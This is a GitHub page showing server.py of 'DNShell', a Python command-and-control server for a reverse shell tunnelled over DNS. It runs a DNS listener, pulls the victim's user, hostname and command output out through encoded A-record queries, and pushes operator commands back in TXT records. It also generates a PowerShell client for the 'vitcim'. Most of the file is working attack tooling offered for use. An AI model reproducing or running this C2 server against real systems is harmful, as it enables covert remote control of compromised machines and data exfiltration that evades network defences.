-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathserver.py
More file actions
321 lines (267 loc) · 11.4 KB
/
server.py
File metadata and controls
321 lines (267 loc) · 11.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
import subprocess
import re
import sys
import base64
import json
from pprint import pprint
import readline
import argparse # Added argparse module
import threading
from dnslib import *
import socket
import codecs
print("""
______ _ _ _____ _ _ _
| _ \ \ | |/ ___| | | | |
| | | | \| |\ `--.| |__ ___| | |
| | | | . ` | `--. \ '_ \ / _ \ | |
| |/ /| |\ |/\__/ / | | | __/ | |
|___/ \_| \_/\____/|_| |_|\___|_|_|
""")
print("""
| ------------------------------------------------------------------------------------------------------|
| When you start DNShell without parameters it starts the server and waits for incoming connections. |
| If you need the .ps1 file for the vitcim. Use the "--generate-client" argument |
| |
| Author: Nicolas Caluori |
| Github: https://github.com/Nicicalu/dnshell |
|-------------------------------------------------------------------------------------------------------|
""")
def base64_decode_string(encoded_string):
decoded_bytes = base64.b64decode(encoded_string)
decoded_string = decoded_bytes.decode('utf-8')
return decoded_string
def base64_encode_string(string):
encoded_bytes = base64.b64encode(string.encode("utf-8"))
encoded_string = encoded_bytes.decode("utf-8")
return encoded_string
def base32_decode_string(encoded_string):
decoded_bytes = base64.b32decode(encoded_string)
decoded_string = decoded_bytes.decode('cp1252')
return decoded_string
data = {}
settings = {
"domain": "",
"ip": "0.0.0.0",
"port": 53
}
loglevel = "INFO"
def generateClient():
# Function to generate client
print("Generating client... for domain {settings['domain']}")
# Read client-preset.ps1
with open('client-preset.ps1', 'r') as f:
content = f.read()
# Replace {domain} with the variable domain in the file
content = content.replace('{domain}', settings['domain'])
# prompt the user for the path, defaults to to "./client.ps1"
path = input(
'Enter the path to export the file (default: ./client.ps1): ') or './client.ps1'
# export the file to the path specified
with open(path, 'w') as f:
f.write(content)
print("Client generated and exported to {path}")
def parseRequest(request, addr):
domainparts = str(request.q.qname).replace(f".{settings['domain']}", "")
result = re.sub(r'([^\.]{63})\.', r'\1', domainparts)
return {
"ip_address": addr[0],
"domain_name": str(request.q.qname),
"query_class": str(request.q.qclass),
"query_type": QTYPE[request.q.qtype],
"domain_parts": result.split(".")
}
def sendData(code, counter, command):
if(loglevel >= 2):
print("func: SendData")
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind((settings["ip"], int(settings["port"])))
while True:
if(loglevel >= 1):
print("Waiting for Client to get it's data")
rawrequest, addr = s.recvfrom(1024)
request = DNSRecord.parse(rawrequest)
query = parseRequest(request, addr)
requestdomain = query["domain_name"].lower()
if(loglevel >= 2):
print(
f"Request from: {query['ip_address']} for {query['domain_name']} type {query['query_type']}")
if(query["query_type"] == "TXT" and requestdomain == f"{counter}.{code}.{settings['domain']}.".lower()):
if(loglevel >= 1):
print(
f"Responding with command '{command}' for request domain '{requestdomain}'")
# Build response with command
command = base64_encode_string(command)
response = DNSRecord(
DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
TTL = 60 * 5
rdata = TXT(command.encode("utf-8"))
response.add_answer(
RR(rname=request.q.qname, rtype=QTYPE.TXT, rclass=1, ttl=TTL, rdata=rdata))
s.sendto(b'%s' % response.pack(), addr)
return
else:
if(loglevel >= 2):
print("No valid request (sendData)")
def getData(code, counter):
if(loglevel >= 2):
print("func: GetData")
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind((settings["ip"], int(settings["port"])))
while True:
rawrequest, addr = s.recvfrom(1024)
request = DNSRecord.parse(rawrequest)
query = parseRequest(request, addr)
if(loglevel >= 2):
print(
f"Request from: {query['ip_address']} for {query['domain_name']} type {query['query_type']}")
if query["query_type"] == "A" and query["domain_name"].lower().endswith(f"{code}-{counter}.{settings['domain']}.".lower()):
thisdata = query["domain_parts"]
if not thisdata[3] in data:
data[thisdata[3]] = {}
data[thisdata[3]][int(thisdata[1])] = thisdata[0].replace("_", "=")
print_progress(len(data[thisdata[3]]), int(
thisdata[2]), prefix=f'Packet {len(data[thisdata[3]])}/{thisdata[2]}', suffix='Complete', bar_length=50)
if len(data[thisdata[3]]) == int(thisdata[2]):
if(loglevel >= 1):
print("--------------------- Data recieved ---------------------")
# Put the data together in one variable
datastring = ""
for i in range(0, int(thisdata[2])):
datastring += data[thisdata[3]][i]
# Upper because anti dns caching messed up the cases, Base32 is all upper case and case sensitive
datastring = datastring.upper()
if(loglevel >= 2):
print(f"Base32: {datastring}")
# Base32 decode
decoded = base32_decode_string(datastring)
# JSON decode
if(loglevel >= 1):
print(f"JSON: {decoded}")
response = json.loads(decoded)
return response
response = DNSRecord(
DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
#TTL = 60 * 5
#rdata = A("1.1.1.1")
#response.add_answer(RR(rname=request.q.qname, rtype=QTYPE.A, rclass=1, ttl=TTL, rdata=rdata))
s.sendto(b'%s' % response.pack(), addr)
else:
if(loglevel >= 2):
print("No valid request (getData)")
def startServer():
pwd = ""
user = ""
hostname = ""
print("Waiting for client to connect... and identify itself")
response = getData(0, 0)
code = response["code"]
pwd = response["pwd"]
user = response["user"]
hostname = response["hostname"]
print("")
print("----------------------- Client connected -----------------------")
print(f"ID for this Reverse Shell: {code}")
print(f"User: {user}")
print(f"Hostname: {hostname}")
print("----------------------------------------------------------------")
print("")
command = ""
counter = 0
while command != "exit":
command = input(f"{user}@{hostname}: {pwd}> ")
readline.add_history(command)
sendData(code, counter, command)
if command != "exit":
response = getData(code, counter)
pwd = response["pwd"]
user = response["user"]
hostname = response["hostname"]
output = response["output"]
print(output)
counter += 1
def setSettings():
currentDomain = settings['domain'] or "None"
currentIP = settings['ip'] or "0.0.0.0"
currentPort = settings["port"] or 53
# Prompt for domain and expose, and show current settings
settings['domain'] = input(
f'Enter domain (Press [Enter] for current: \"{currentDomain}\"): ') or currentDomain
settings['ip'] = input(
f'Enter the IP/Hostname that the dns server should listen to (0.0.0.0 to listen to every ip) (Press [Enter] for current: \"{currentIP}\"): ') or currentIP
settings['port'] = input(
f'Enter the Port that the dns server should listen to (Press [Enter] for current: \"{currentPort}\"): ') or currentPort
with open('settings.json', 'w') as f:
json.dump(settings, f)
def main():
global settings
global loglevel
parser = argparse.ArgumentParser()
parser.add_argument("--start-server", action="store_true",
help="Starts the listener")
parser.add_argument("--generate-client", action="store_true",
help="Generates the .ps1 client file")
parser.add_argument("--log-level", type=int, default=0,
help="Set the log level (ERROR=0, INFO=1, DEBUG=2)")
args = parser.parse_args()
loglevel = args.log_level or 0
# Handle settings
# if settings.json exists, load it into the variable settings
# if not, create it and prompt user for domain and expose
if os.path.exists('settings.json'):
# If it exists, load the settings into the variable 'settings'
with open('settings.json', 'r') as f:
settings = json.load(f)
else:
# If it doesn't exist, create it and prompt the user for domain and expose
setSettings()
if args.start_server:
startServer()
elif args.generate_client:
generateClient()
else:
while True:
# Give the user a choice based on the arguments, if the user inputs an invalid number, prompt again
print("--------------- Please choose an option: ---------------")
print(f"1) Start the listener")
print(f"2) Generate the .ps1 client file")
print(f"3) Change the settings")
print(f"99) Quit")
print("--------------------------------------------------------")
choice = input("Choice: ")
if choice == "1":
startServer()
elif choice == "2":
generateClient()
elif choice == "3":
setSettings()
elif choice == "99" or choice == "exit" or choice == "quit":
break
else:
print("Invalid choice")
def print_progress(iteration, total, prefix='', suffix='', decimals=1, bar_length=100):
"""
Call in a loop to create terminal progress bar
@params:
iteration - Required : current iteration (Int)
total - Required : total iterations (Int)
prefix - Optional : prefix string (Str)
suffix - Optional : suffix string (Str)
decimals - Optional : positive number of decimals in percent complete (Int)
bar_length - Optional : character length of bar (Int)
"""
str_format = "{0:." + str(decimals) + "f}"
percents = str_format.format(100 * (iteration / float(total)))
filled_length = int(round(bar_length * iteration / float(total)))
bar = '█' * filled_length + '-' * (bar_length - filled_length)
if iteration == total:
# Remove progress bar
sys.stdout.write('\x1b[2K')
else:
sys.stdout.write('\r%s |%s| %s%s %s' %
(prefix, bar, percents, '%', suffix))
if iteration == total:
sys.stdout.write('\n')
sys.stdout.flush()
if __name__ == "__main__":
main()